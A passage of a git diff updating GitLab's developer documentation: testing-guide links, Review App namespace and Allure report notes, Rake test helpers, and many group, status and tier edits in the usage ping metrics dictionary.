If a manual mock is needed for a `node_modules` package, use the `spec/frontend/__mocks__` folder. Here's an example of
-a [Jest mock for the package `monaco-editor`](https://gitlab.com/gitlab-org/gitlab/blob/b7f914cddec9fc5971238cdf12766e79fa1629d7/spec/frontend/__mocks__/monaco-editor/index.js#L1).
+a [Jest mock for the package `monaco-editor`](https://gitlab.com/gitlab-org/gitlab/-/blob/b7f914cddec9fc5971238cdf12766e79fa1629d7/spec/frontend/__mocks__/monaco-editor/index.js#L1).
If a manual mock is needed for a CE module, place it in `spec/frontend/mocks/ce`.
@@ -759,12 +759,12 @@ If a manual mock is needed for a CE module, place it in `spec/frontend/mocks/ce`
#### Manual mock examples
-- [`mocks/axios_utils`](https://gitlab.com/gitlab-org/gitlab/blob/bd20aeb64c4eed117831556c54b40ff4aee9bfd1/spec/frontend/mocks/ce/lib/utils/axios_utils.js#L1) -
+- [`mocks/axios_utils`](https://gitlab.com/gitlab-org/gitlab/-/blob/bd20aeb64c4eed117831556c54b40ff4aee9bfd1/spec/frontend/mocks/ce/lib/utils/axios_utils.js#L1) -
This mock is helpful because we don't want any unmocked requests to pass any tests. Also, we are able to inject some test helpers such as `axios.waitForAll`.
-- [`__mocks__/mousetrap/index.js`](https://gitlab.com/gitlab-org/gitlab/blob/cd4c086d894226445be9d18294a060ba46572435/spec/frontend/__mocks__/mousetrap/index.js#L1) -
+- [`__mocks__/mousetrap/index.js`](https://gitlab.com/gitlab-org/gitlab/-/blob/cd4c086d894226445be9d18294a060ba46572435/spec/frontend/__mocks__/mousetrap/index.js#L1) -
This mock is helpful because the module itself uses AMD format which webpack understands, but is incompatible with the jest environment. This mock doesn't remove
any behavior, only provides a nice es6 compatible wrapper.
-- [`__mocks__/monaco-editor/index.js`](https://gitlab.com/gitlab-org/gitlab/blob/b7f914cddec9fc5971238cdf12766e79fa1629d7/spec/frontend/__mocks__/monaco-editor/index.js) -
+- [`__mocks__/monaco-editor/index.js`](https://gitlab.com/gitlab-org/gitlab/-/blob/b7f914cddec9fc5971238cdf12766e79fa1629d7/spec/frontend/__mocks__/monaco-editor/index.js) -
This mock is helpful because the Monaco package is completely incompatible in a Jest environment. In fact, webpack requires a special loader to make it work. This mock
makes this package consumable by Jest.
@@ -1109,7 +1109,7 @@ See also [Notes on testing Vue components](../fe_guide/vue.md#testing-vue-compon
## Test helpers
-Test helpers can be found in [`spec/frontend/__helpers__`](https://gitlab.com/gitlab-org/gitlab/blob/master/spec/frontend/__helpers__).
+Test helpers can be found in [`spec/frontend/__helpers__`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/frontend/__helpers__).
If you introduce new helpers, place them in that directory.
### Vuex Helper: `testAction`
diff --git a/doc/development/testing_guide/review_apps.md b/doc/development/testing_guide/review_apps.md
index c4194be23a4..cf757aad870 100644
--- a/doc/development/testing_guide/review_apps.md
+++ b/doc/development/testing_guide/review_apps.md
@@ -81,6 +81,8 @@ subgraph "CNG-mirror pipeline"
- Since we're using [the official GitLab Helm chart](https://gitlab.com/gitlab-org/charts/gitlab/), this means
you get a dedicated environment for your branch that's very close to what
it would look in production.
+ - Each review app is deployed to its own Kubernetes namespace. The namespace is based on the Review App slug that is
+ unique to each branch.
1. Once the [`review-deploy`](https://gitlab.com/gitlab-org/gitlab/-/jobs/467724810) job succeeds, you should be able to
use your Review App thanks to the direct link to it from the MR widget. To log
into the Review App, see "Log into my Review App?" below.
@@ -132,6 +134,9 @@ the QA smoke suite.
You can also manually start the `review-qa-all`: it runs the full QA suite.
+After the end-to-end test runs have finished, [Allure reports](https://github.com/allure-framework/allure2) are generated and published by
+the `allure-report-qa-smoke` and `allure-report-qa-all` jobs. A comment with links to the reports are added to the merge request.
+
## Performance Metrics
On every [pipeline](https://gitlab.com/gitlab-org/gitlab/pipelines/125315730) in the `qa` stage, the
@@ -141,12 +146,7 @@ browser performance testing using a
## Cluster configuration
-### Node pools
-
-The `review-apps` cluster is currently set up with
-the following node pools:
-
-- `e2-highcpu-16` (16 vCPU, 16 GB memory) pre-emptible nodes with autoscaling
+The cluster is configured via Terraform in the [`engineering-productivity-infrastructure`](https://gitlab.com/gitlab-org/quality/engineering-productivity-infrastructure) project.
Node pool image type must be `Container-Optimized OS (cos)`, not `Container-Optimized OS with Containerd (cos_containerd)`,
due to this [known issue on GitLab Runner Kubernetes executor](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4755)
@@ -200,7 +200,7 @@ the GitLab handbook information for the [shared 1Password account](https://about
1. Click on the `KUBECTL` dropdown, then `Exec` -> `task-runner`.
1. Replace `-c task-runner -- ls` with `-it -- gitlab-rails console` from the
default command or
- - Run `kubectl exec --namespace review-apps review-qa-raise-e-12chm0-task-runner-d5455cc8-2lsvz -it -- gitlab-rails console` and
+ - Run `kubectl exec --namespace review-qa-raise-e-12chm0 review-qa-raise-e-12chm0-task-runner-d5455cc8-2lsvz -it -- gitlab-rails console` and
- Replace `review-qa-raise-e-12chm0-task-runner-d5455cc8-2lsvz`
with your Pod's name.
@@ -218,7 +218,7 @@ the GitLab handbook information for the [shared 1Password account](https://about
## Diagnosing unhealthy Review App releases
If [Review App Stability](https://app.periscopedata.com/app/gitlab/496118/Engineering-Productivity-Sandbox?widget=6690556&udv=785399)
-dips this may be a signal that the `review-apps-ce/ee` cluster is unhealthy.
+dips this may be a signal that the `review-apps` cluster is unhealthy.
Leading indicators may be health check failures leading to restarts or majority failure for Review App deployments.
The [Review Apps Overview dashboard](https://console.cloud.google.com/monitoring/classic/dashboards/6798952013815386466?project=gitlab-review-apps&timeDomain=1d)
diff --git a/doc/development/testing_guide/testing_levels.md b/doc/development/testing_guide/testing_levels.md
index abacb9a0c87..3a4a28702c7 100644
--- a/doc/development/testing_guide/testing_levels.md
+++ b/doc/development/testing_guide/testing_levels.md
@@ -48,7 +48,7 @@ records should use stubs/doubles as much as possible.
| `config/` | `spec/config/` | RSpec | |
| `config/initializers/` | `spec/initializers/` | RSpec | |
| `config/routes.rb`, `config/routes/` | `spec/routing/` | RSpec | |
-| `config/puma.example.development.rb`, `config/unicorn.rb.example` | `spec/rack_servers/` | RSpec | |
+| `config/puma.example.development.rb` | `spec/rack_servers/` | RSpec | |
| `db/` | `spec/db/` | RSpec | |
| `db/{post_,}migrate/` | `spec/migrations/` | RSpec | More details in the [Testing Rails migrations guide](testing_migrations_guide.md). |
| `Gemfile` | `spec/dependencies/`, `spec/sidekiq/` | RSpec | |
@@ -486,7 +486,7 @@ Note that:
- data needed for the tests can only be created using the GUI or the API
- expectations can only be made against the browser page and API responses
-Every new feature should come with a [test plan](https://gitlab.com/gitlab-org/gitlab/tree/master/.gitlab/issue_templates/Test%20plan.md).
+Every new feature should come with a [test plan](https://gitlab.com/gitlab-org/gitlab/-/tree/master/.gitlab/issue_templates/Test%20plan.md).
| Tests path | Testing engine | Notes |
| ---------- | -------------- | ----- |
diff --git a/doc/development/testing_guide/testing_rake_tasks.md b/doc/development/testing_guide/testing_rake_tasks.md
index dc754721e24..30d193de2f2 100644
--- a/doc/development/testing_guide/testing_rake_tasks.md
+++ b/doc/development/testing_guide/testing_rake_tasks.md
@@ -11,19 +11,21 @@ in lieu of the standard Spec helper. Instead of `require 'spec_helper'`, use
`require 'rake_helper'`. The helper includes `spec_helper` for you, and configures
a few other things to make testing Rake tasks easier.
-At a minimum, requiring the Rake helper redirects `stdout`, include the
-runtime task helpers, and include the `RakeHelpers` Spec support module.
+At a minimum, requiring the Rake helper includes the runtime task helpers, and
+includes the `RakeHelpers` Spec support module.
The `RakeHelpers` module exposes a `run_rake_task(<task>)` method to make
executing tasks simple. See `spec/support/helpers/rake_helpers.rb` for all available
methods.
+`$stdout` can be redirected by adding `:silence_stdout`.
+
Example:
```ruby
require 'rake_helper'
-describe 'gitlab:shell rake tasks' do
+describe 'gitlab:shell rake tasks', :silence_stdout do
before do
Rake.application.rake_require 'tasks/gitlab/shell'
diff --git a/doc/development/understanding_explain_plans.md b/doc/development/understanding_explain_plans.md
index e0176c190d6..66dc1fef31a 100644
--- a/doc/development/understanding_explain_plans.md
+++ b/doc/development/understanding_explain_plans.md
@@ -704,7 +704,7 @@ Execution time: 0.113 ms
### ChatOps
-[GitLab employees can also use our ChatOps solution, available in Slack using the
+[GitLab team members can also use our ChatOps solution, available in Slack using the
`/chatops` slash command](chatops_on_gitlabcom.md).
You can use ChatOps to get a query plan by running the following:
@@ -728,7 +728,7 @@ For more information about the available options, run:
### `#database-lab`
-Another tool GitLab employees can use is a chatbot powered by [Joe](https://gitlab.com/postgres-ai/joe)
+Another tool GitLab team members can use is a chatbot powered by [Joe](https://gitlab.com/postgres-ai/joe)
which uses [Database Lab](https://gitlab.com/postgres-ai/database-lab) to instantly provide developers
with their own clone of the production database.
diff --git a/doc/development/uploads.md b/doc/development/uploads.md
index 7ffa9014240..7cdc3875fd6 100644
--- a/doc/development/uploads.md
+++ b/doc/development/uploads.md
@@ -216,8 +216,8 @@ Workhorse asks rails for temporary pre-signed object storage URLs and directly u
In this setup, an extra Rails route must be implemented in order to handle authorization. Examples of this can be found in:
-- [`Projects::LfsStorageController`](https://gitlab.com/gitlab-org/gitlab/blob/cc723071ad337573e0360a879cbf99bc4fb7adb9/app/controllers/projects/lfs_storage_controller.rb)
- and [its routes](https://gitlab.com/gitlab-org/gitlab/blob/cc723071ad337573e0360a879cbf99bc4fb7adb9/config/routes/git_http.rb#L31-32).
+- [`Projects::LfsStorageController`](https://gitlab.com/gitlab-org/gitlab/-/blob/cc723071ad337573e0360a879cbf99bc4fb7adb9/app/controllers/projects/lfs_storage_controller.rb)
+ and [its routes](https://gitlab.com/gitlab-org/gitlab/-/blob/cc723071ad337573e0360a879cbf99bc4fb7adb9/config/routes/git_http.rb#L31-32).
- [API endpoints for uploading packages](packages.md#file-uploads).
This falls back to _disk buffered upload_ when `direct_upload` is disabled inside the [object storage setting](../administration/uploads.md#object-storage-settings).
@@ -323,7 +323,7 @@ For a Grape API upload, we can have [body or a multipart](#upload-encodings) upl
Workhorse pre-upload authorization and one for accepting the upload metadata from Workhorse:
1. Implement an endpoint with the URL + `/authorize` suffix that will:
- - Check that the request is coming from Workhorse with the `require_gitlab_workhorse!` from the [API helpers](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/api/helpers.rb).
+ - Check that the request is coming from Workhorse with the `require_gitlab_workhorse!` from the [API helpers](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/api/helpers.rb).
- Check user permissions.
- Set the status to `200` with `status 200`.
- Set the content type with `content_type Gitlab::Workhorse::INTERNAL_API_CONTENT_TYPE`.
@@ -334,7 +334,7 @@ Workhorse pre-upload authorization and one for accepting the upload metadata fro
use `requires :file, type: ::API::Validations::Types::WorkhorseFile`.
- Body upload requests have their upload available under the parameter `file`.
- Check that the request is coming from Workhorse with the `require_gitlab_workhorse!` from the
-[API helpers](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/api/helpers.rb).
+[API helpers](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/api/helpers.rb).
- Check the user permissions.
- The remaining code of the processing. This is where the code must be reading the parameter (for
our example, it would be `params[:file]`).
diff --git a/doc/development/usage_ping.md b/doc/development/usage_ping.md
index b8f08caaebd..567a2d41c33 100644
--- a/doc/development/usage_ping.md
+++ b/doc/development/usage_ping.md
@@ -1,7 +1,9 @@
---
redirect_to: 'usage_ping/index.md'
+remove_date: '2021-05-23'
---
This document was moved to [another location](usage_ping/index.md).
+
<!-- This redirect file can be deleted after <2021-05-23>. -->
<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> \ No newline at end of file
diff --git a/doc/development/usage_ping/dictionary.md b/doc/development/usage_ping/dictionary.md
index 75d65f8e5df..e76fb302b9c 100644
--- a/doc/development/usage_ping/dictionary.md
+++ b/doc/development/usage_ping/dictionary.md
@@ -36,7 +36,7 @@ was released.
### `active_user_count`
-This is named the instance_user_count in the Versions application.
+The number of active users existing in the instance. This is named the instance_user_count in the Versions application.
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/license/20210204124829_active_user_count.yml)
@@ -162,7 +162,7 @@ Missing description
Group: ``
-Status: `implemented`
+Status: `data_available`
Tiers:
@@ -282,7 +282,7 @@ Missing description
Group: ``
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -372,15 +372,15 @@ Tiers: `free`
### `container_registry_enabled`
-Whether container registry is enabled
+A count of projects where the container registry is enabled
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210204124858_container_registry_enabled.yml)
-Group: `group::product intelligence`
+Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `container_registry_server.vendor`
@@ -392,7 +392,7 @@ Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `container_registry_server.version`
@@ -404,7 +404,7 @@ Group: `group::package`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.alert_bot_incident_issues`
@@ -508,7 +508,7 @@ Unique builds in project
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175510_ci_builds.yml)
-Group: `group::continuous integration`
+Group: `group::pipeline execution`
Status: `data_available`
@@ -520,7 +520,7 @@ Total pipelines in external repositories
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175514_ci_external_pipelines.yml)
-Group: `group::continuous integration`
+Group: `group::pipeline execution`
Status: `data_available`
@@ -532,7 +532,7 @@ Total pipelines in GitLab repositories
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175512_ci_internal_pipelines.yml)
-Group: `group::continuous integration`
+Group: `group::pipeline execution`
Status: `data_available`
@@ -556,7 +556,7 @@ Total Pipelines from templates in repository
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175518_ci_pipeline_config_repository.yml)
-Group: `group::continuous integration`
+Group: `group::pipeline execution`
Status: `data_available`
@@ -568,7 +568,7 @@ Pipeline schedules in GitLab
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175523_ci_pipeline_schedules.yml)
-Group: `group::continuous integration`
+Group: `group::pipeline execution`
Status: `data_available`
@@ -580,7 +580,7 @@ Total configured Runners in project
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175520_ci_runners.yml)
-Group: `group::continuous integration`
+Group: `group::pipeline execution`
Status: `data_available`
@@ -592,9 +592,9 @@ Total active instance Runners
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210502050341_ci_runners_group_type_active.yml)
-Group: `group::continuous integration`
+Group: `group::pipeline execution`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -604,9 +604,9 @@ Total active and online group Runners
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210502051922_ci_runners_group_type_active_online.yml)
-Group: `group::continuous integration`
+Group: `group::pipeline execution`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -616,9 +616,9 @@ Total active group Runners
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210502045402_ci_runners_instance_type_active.yml)
-Group: `group::continuous integration`
+Group: `group::pipeline execution`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -628,9 +628,9 @@ Total active and online instance Runners
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210502051651_ci_runners_instance_type_active_online.yml)
-Group: `group::continuous integration`
+Group: `group::pipeline execution`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -640,9 +640,9 @@ Total online Runners
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210502050942_ci_runners_online.yml)
-Group: `group::continuous integration`
+Group: `group::pipeline execution`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -652,9 +652,9 @@ Total active project Runners
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210502050834_ci_runners_project_type_active.yml)
-Group: `group::continuous integration`
+Group: `group::pipeline execution`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -664,9 +664,9 @@ Total active and online project Runners
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210502052036_ci_runners_project_type_active_online.yml)
-Group: `group::continuous integration`
+Group: `group::pipeline execution`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -676,7 +676,7 @@ Total configured Triggers in project
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175521_ci_triggers.yml)
-Group: `group::continuous integration`
+Group: `group::pipeline execution`
Status: `data_available`
@@ -936,7 +936,7 @@ Tiers: `free`
### `counts.cycle_analytics_views`
-Missing description
+Total visits to VSA (both group- and project-level) all time
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216174832_cycle_analytics_views.yml)
@@ -944,7 +944,7 @@ Group: `group::optimize`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.dast_jobs`
@@ -1020,39 +1020,39 @@ Tiers: `free`, `premium`, `ultimate`
### `counts.design_management_designs_create`
-Missing description
+Number of designs that were created
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180740_design_management_designs_create.yml)
-Group: `group::knowledge`
+Group: `group::product planning`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.design_management_designs_delete`
-Missing description
+Number of designs that were deleted
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180743_design_management_designs_delete.yml)
-Group: `group::knowledge`
+Group: `group::product planning`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.design_management_designs_update`
-Missing description
+Number of updates to designs
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180741_design_management_designs_update.yml)
-Group: `group::knowledge`
+Group: `group::product planning`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.environments`
@@ -1126,54 +1126,6 @@ Status: `data_available`
Tiers: `free`
-### `counts.g_project_management_users_checking_epic_task_monthly`
-
-Counts of MAU checking epic task
-
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210421080207_g_project_management_users_checking_epic_task_monthly.yml)
-
-Group: `group::product planning`
-
-Status: `implemented`
-
-Tiers: `premium`, `ultimate`
-
-### `counts.g_project_management_users_checking_epic_task_weekly`
-
-Counts of WAU checking epic task
-
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210421075943_g_project_management_users_checking_epic_task_weekly.yml)
-
-Group: `group::product planning`
-
-Status: `implemented`
-
-Tiers: `premium`, `ultimate`
-
-### `counts.g_project_management_users_unchecking_epic_task_monthly`
-
-Counts of MAU unchecking epic task
-
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210421102516_g_project_management_users_unchecking_epic_task_monthly.yml)
-
-Group: `group::product planning`
-
-Status: `implemented`
-
-Tiers: `premium`, `ultimate`
-
-### `counts.g_project_management_users_unchecking_epic_task_weekly`
-
-Counts of WAU unchecking epic task
-
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210421102812_g_project_management_users_unchecking_epic_task_weekly.yml)
-
-Group: `group::product planning`
-
-Status: `implemented`
-
-Tiers: `premium`, `ultimate`
-
### `counts.geo_event_log_max_id`
Number of replication events on a Geo primary
@@ -1240,7 +1192,7 @@ Total count of groups as of usage ping snapshot
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180750_groups.yml)
-Group: `group::manage`
+Group: `group::access`
Status: `data_available`
@@ -1344,15 +1296,15 @@ Tiers: `free`, `premium`, `ultimate`
### `counts.groups_datadog_active`
-Missing description
+Count of groups with active integrations for Datadog
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182549_groups_datadog_active.yml)
-Group: ``
+Group: `group::ecosystem`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.groups_discord_active`
@@ -1392,15 +1344,15 @@ Tiers: `free`, `premium`, `ultimate`
### `counts.groups_ewm_active`
-Missing description
+Count of groups with active integrations for EWM
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182616_groups_ewm_active.yml)
-Group: ``
+Group: `group::ecosystem`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.groups_external_wiki_active`
@@ -1430,13 +1382,13 @@ Tiers: `free`, `premium`, `ultimate`
Count of groups with active integrations for GitHub
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175850_groups_github_active.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175850_groups_github_active.yml)
Group: `group::ecosystem`
Status: `data_available`
-Tiers: `free`, `premium`, `ultimate`
+Tiers: `premium`, `ultimate`
### `counts.groups_hangouts_chat_active`
@@ -1560,15 +1512,15 @@ Tiers: `free`, `premium`, `ultimate`
### `counts.groups_inheriting_datadog_active`
-Missing description
+Count of active groups inheriting integrations for Datadog
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182557_groups_inheriting_datadog_active.yml)
-Group: ``
+Group: `group::ecosystem`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.groups_inheriting_discord_active`
@@ -1608,15 +1560,15 @@ Tiers: `free`, `premium`, `ultimate`
### `counts.groups_inheriting_ewm_active`
-Missing description
+Count of active groups inheriting integrations for EWM
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182623_groups_inheriting_ewm_active.yml)
-Group: ``
+Group: `group::ecosystem`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.groups_inheriting_external_wiki_active`
@@ -1646,13 +1598,13 @@ Tiers: `free`, `premium`, `ultimate`
Count of active groups inheriting integrations for GitHub
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175857_groups_inheriting_github_active.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175857_groups_inheriting_github_active.yml)
Group: `group::ecosystem`
Status: `data_available`
-Tiers: `free`, `premium`, `ultimate`
+Tiers: `premium`, `ultimate`
### `counts.groups_inheriting_hangouts_chat_active`
@@ -1752,27 +1704,27 @@ Tiers: `free`, `premium`, `ultimate`
### `counts.groups_inheriting_mock_ci_active`
-Missing description
+Count of active groups inheriting integrations for Mock CI
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182732_groups_inheriting_mock_ci_active.yml)
-Group: ``
+Group: `group::ecosystem`
-Status: `data_available`
+Status: `removed`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.groups_inheriting_mock_monitoring_active`
-Missing description
+Count of active groups inheriting integrations for Mock Monitoring
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182743_groups_inheriting_mock_monitoring_active.yml)
-Group: ``
+Group: `group::ecosystem`
-Status: `data_available`
+Status: `removed`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.groups_inheriting_packagist_active`
@@ -1992,27 +1944,27 @@ Tiers: `free`, `premium`, `ultimate`
### `counts.groups_mock_ci_active`
-Missing description
+Count of groups with active integrations for Mock CI
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182724_groups_mock_ci_active.yml)
-Group: ``
+Group: `group::ecosystem`
-Status: `data_available`
+Status: `removed`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.groups_mock_monitoring_active`
-Missing description
+Count of groups with active integrations for Mock Monitoring
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182736_groups_mock_monitoring_active.yml)
-Group: ``
+Group: `group::ecosystem`
-Status: `data_available`
+Status: `removed`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.groups_packagist_active`
@@ -2166,7 +2118,7 @@ Total clicks on the create track's first email
Group: `group::activation`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2178,7 +2130,7 @@ Total sent emails of the create track's first email
Group: `group::activation`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2190,7 +2142,7 @@ Total clicks on the create track's second email
Group: `group::activation`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2202,7 +2154,7 @@ Total sent emails of the create track's second email
Group: `group::activation`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2214,7 +2166,7 @@ Total clicks on the create track's third email
Group: `group::activation`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2226,7 +2178,19 @@ Total sent emails of the create track's third email
Group: `group::activation`
-Status: `implemented`
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.in_product_marketing_email_experience_0_sent`
+
+Total sent emails of the experience track's first email
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210518081225_in_product_marketing_email_experience_0_sent.yml)
+
+Group: `group::activation`
+
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2238,7 +2202,7 @@ Total clicks on the team track's first email
Group: `group::activation`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2250,7 +2214,7 @@ Total sent emails of the team track's first email
Group: `group::activation`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2262,7 +2226,7 @@ Total clicks on the team track's second email
Group: `group::activation`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2274,7 +2238,7 @@ Total sent emails of the team track's second email
Group: `group::activation`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2286,7 +2250,7 @@ Total clicks on the team track's third email
Group: `group::activation`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2298,7 +2262,7 @@ Total sent emails of the team track's third email
Group: `group::activation`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2310,7 +2274,7 @@ Total clicks on the verify trial's first email
Group: `group::activation`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2322,7 +2286,7 @@ Total sent emails of the trial track's first email
Group: `group::activation`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2334,7 +2298,7 @@ Total clicks on the trial track's second email
Group: `group::activation`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2346,7 +2310,7 @@ Total sent emails of the trial track's second email
Group: `group::activation`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2358,7 +2322,7 @@ Total clicks on the trial track's third email
Group: `group::activation`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2370,7 +2334,7 @@ Total sent emails of the trial track's third email
Group: `group::activation`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2382,7 +2346,7 @@ Total clicks on the verify track's first email
Group: `group::activation`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2394,7 +2358,7 @@ Total sent emails of the verify track's first email
Group: `group::activation`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2406,7 +2370,7 @@ Total clicks on the verify track's second email
Group: `group::activation`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2418,7 +2382,7 @@ Total sent emails of the verify track's second email
Group: `group::activation`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2430,7 +2394,7 @@ Total clicks on the verify track's third email
Group: `group::activation`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2442,7 +2406,7 @@ Total sent emails of the verify track's third email
Group: `group::activation`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -2490,7 +2454,7 @@ Whether or not ModSecurity is set to blocking mode
Group: `group::container security`
-Status: `deprecated`
+Status: `removed`
Tiers: `free`, `premium`, `ultimate`
@@ -2502,7 +2466,7 @@ Whether or not ModSecurity is disabled within Ingress
Group: `group::container security`
-Status: `deprecated`
+Status: `removed`
Tiers: `free`, `premium`, `ultimate`
